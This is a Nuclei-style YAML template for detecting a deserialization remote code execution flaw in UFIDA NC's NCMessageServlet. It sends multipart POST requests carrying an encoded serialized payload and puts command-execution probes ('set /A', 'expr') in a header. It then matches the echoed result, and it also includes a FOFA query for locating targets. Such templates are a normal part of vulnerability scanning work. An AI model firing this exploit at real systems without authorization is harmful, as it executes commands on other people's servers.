id: yonyou-nc-ncmessageservlet-rce

info:
  name: UFIDA NC NCMessageServlet - Deserialization RCE Detection
  author: SleepingBag945
  severity: critical
  description: |
    UFIDA NC is in the process of processing client request data. Insufficient checking and filtering when deserializing user-supplied data can lead to malicious deserialization operations and execution of commands on the operating system. After analysis, security researchers found that the system has many exploit points for deserialization. Currently, the official vulnerability fix plan is to perform deserialization whitelist control on known exploit points and repair some exploit chain dependencies. The possibility of similar problems occurring in the system in the future is still high.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-nc-ncmessageservlet-rce.yaml
  classification:
    cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*
    cwe-id: CWE-78,CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: yonyou
    product: ufida-nc
    fofa-query: app="用友-UFIDA-NC
  tags: yonyou,rce,deserialization,vuln

http:
  - raw:
      - |
        POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;
        X-T0KEN-INF0: set /A 987843129+808922377
        Accept-Encoding: gzip, deflate

        {{hex_decode('[encoded data, 10284 characters]')}}
      - |
        POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Content-Type: multipart/form-data;
        X-T0KEN-INF0: expr 987843129+808922376
        Accept-Encoding: gzip, deflate

        {{hex_decode('[encoded data, 10284 characters]')}}

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && contains(header_1,"X-T0ken") && contains(header_1,"MTc5Njc2NTUwNg==")'
          - 'status_code_2 == 200 && contains(header_2,"X-T0ken") && contains(header_2,"MTc5Njc2NTUwNQ==")'
        condition: or
# digest: 4b0a0048304602210097b54909771557c8ae0e437421539a19d036010bfa1202287f590fb920fa18ad022100fb83c2e6272b54b8cea834e4e3d182b2ec9dc5ea0cb9aeea976ff0bed229806a:922c64590222798bb761d5b6d8e72950